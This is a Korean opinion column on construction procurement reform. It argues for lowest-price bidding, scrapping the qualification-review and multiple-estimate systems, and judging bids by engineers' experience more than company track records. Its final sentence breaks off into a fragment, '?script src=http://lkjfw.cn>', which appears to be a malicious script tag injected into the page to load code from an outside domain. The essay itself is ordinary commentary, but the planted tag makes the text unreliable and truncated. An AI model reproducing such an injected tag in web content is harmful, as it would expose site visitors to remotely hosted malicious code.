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언론기고

입찰제도 개선(2)

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건설공사는 공사금액의 대소를 불문하고 최저가 낙찰제가 기본이라는 원칙을 살려야 한다. 그것이 국제적인 관례이며 한국 건설회사의 기술력과 경쟁력을 제고시키는 길이고 이에 부응하지 못하는 건설회사는 당연히 도태되어야 한다. 시공회사는 발주자가 제시한 해당 목적물 구축을 위해 자기가 구상한 방식에 의거 실행가능 금액을 산출해서 입찰에 임해야 한다.

위에서 언급한 방식대로 입찰내역서가 작성된다면 시공회사는 실행가능금액으로 투찰하는 풍토가 조성되어 현재와 같이 설계변경에 기대를 걸고 무조건 덤핑을 치거나 입찰담합행위도 거의 사라질 것이고 정부가 적격심사제도에서 가격 하한선을 제시할 필요도 없을 것이다. 시공회사의 실행가능금액은 시공회사의 노하우이며 리스크가 매우 큰 것이다.

이러한 방식에 의거 최저가 투찰자부터 시공회사가 제시한 제 방법과 가격의 실현 가능여부를 심의하되 심의결과를 반영하여 방법과 가격의 수정기회도 주는 것이 민주적이고 경제적이라 할 수 있다. 이러한 심의는 기술적으로 금액적으로 세세한 부분까지 할 필요 없이 개괄적인 요점 중심으로 기술심의를 하고 금액위주로 경쟁을 시켜야 한다.

개념만 확실하다면 시공회사는 작업 수행 전에 Shop drawing과 구조계산 검토를 받아서 수행해야 함으로 시공회사의 리스크로 돌려놓으면 된다. 물론 터무니없는 방법을 제시하거나 가격의 수정결과 차 순위 투찰가격을 초과할 경우 최저가 투찰자의 실격은 두말할 나위 없다. 계약 후 구상을 잘못하여 발생된 시공회사의 손실은 자업자득으로 냉정하게 처리되어야 한다.

이러한 개념으로 건설공사가 진행될 때 현재 시행중인 턴키공사나 대안공사의 실효성에 의문이 생긴다. 특히 토목관련 턴키공사의 경우 예술성이나 작품성이 요구되는 경우는 별로 없다. 특별한 경우를 제외하고 현재 발주되고 있는 턴키공사나 대안공사의 대부분을 위에서 언급한 방식대로 최저가낙찰제로 발주하는 것이 보다 이상적이다. 턴키제도 시행관련한 최근의 "부패방지위원회"의 거창한 권고안은 그렇게 복잡하고 요란스럽게 턴키공사를 해야 하는지 턴키공사의 본질을 흐려 놓는 한심한 발상이다.

정부는 운(運)에 의해서 시공업체가 선정되는 적격심사제도를 하루 빨리 폐지해야 한다. 적격심사제도에 경영상태 점수와 실적 점수가 투찰가격에 지대한 영향을 주고 복수예정가격제도를 운영하는 것이 큰 모순이다. 경영상태와 시공실적이 더 좋을수록 더 낮은 가격으로 투찰할 수 있다는 논리는 이윤을 덜 챙기라거나 손해를 보고 공사를 해 달라는 논리로서 불공정거래 차원에서 재검토되어야 한다. 시공회사의 실행가능 금액으로 투찰하는 풍토가 조성되면 복수예가의 의미는 무의미하게 될 것이다.

현재 턴키공사와 대안공사의 입찰에 입찰참여사들이 경영상태 점수와 실적점수를 감안하여 투찰가격을 약정해 놓고 설계점수로 결판을 내자고 신사협정(?) 하는 것이 보편화되어 있기 때문에 설계점수를 잘 받기 위한 로비는 필연적이다.

시공회사의 시공실적과 경영상태가 단시일 내에 만들어지는 사항인가? 이 개념은 PQ에서 끝날 사항이지 투찰가격에 까지 지대한 영향을 끼치게 해서는 무의미하다. 경영상태 개선이나 실적 쌓기에 소홀한 시공회사는 없다. 시공회사의 실적중시제도가 우리 나라 건설업 발전에 크나큰 장애요소라는 것을 알아야 한다!! 발주자는 경영상태가 불안한 시공회사의 경우 이행보증과 주거래 은행 등 보증기관의 보증서를 요구하면 될 것이고 시공회사의 실적보다는 당해 현장에 투입될 현장소장을 비롯한 기술자들의 경험과 능력평가를 하고 현장작업을 수행할 협력업체 내지는 작업반의 수행 실적을 평가하는 것이 더 중요하다.

건설은 "돈"과 "경험 있는 기술자" 와 "관리자" 에 의해 창출된다 !! 케케묵은 시공회사의 실적이 건실한 신규업체의 시장진입과 성장의 발목을 잡아서는 안 된다. 실적은 있는데 경험 있는 기술진이 없는 회사가 비일비재하여 공사 수주 후 기술자를 채용하거나 공사 완료 후 해고시키는 풍토가 한국 건설기술자들을 비참하게 만들고 있는 것이다. 건설회사 보다는 건설기술자를 중시하는 정책과 제도가 정착되어야 한국 건설업의 발전을 기대할 수 있다. 우리 나라의 건설관련 법령은 건설회사나 협회, 단체위주로 제정되어 있고 건설기술자들은 그들의 부속물인 머슴과 종으로 제도화되어 있다고 해도 과언은 아니다.

현재 한국의 시공회사들은 해외공사에 경험 있는 사람들이 많다. 해외에서는 어떤 식으로 입찰초청을 받고 PQ를 통과해서 견적을 하고 입찰을 보고 낙찰을 받는지 잘 알고 있다. 시공회사들은 일찍이 건설공사의 국제화에 익숙해 있는데 유독 한국 건설공사제도는 계속적으로 탁상에 있는 공무원, 대학교수, 연구소 사람들의 연구테마에?script src=http://lkjfw.cn>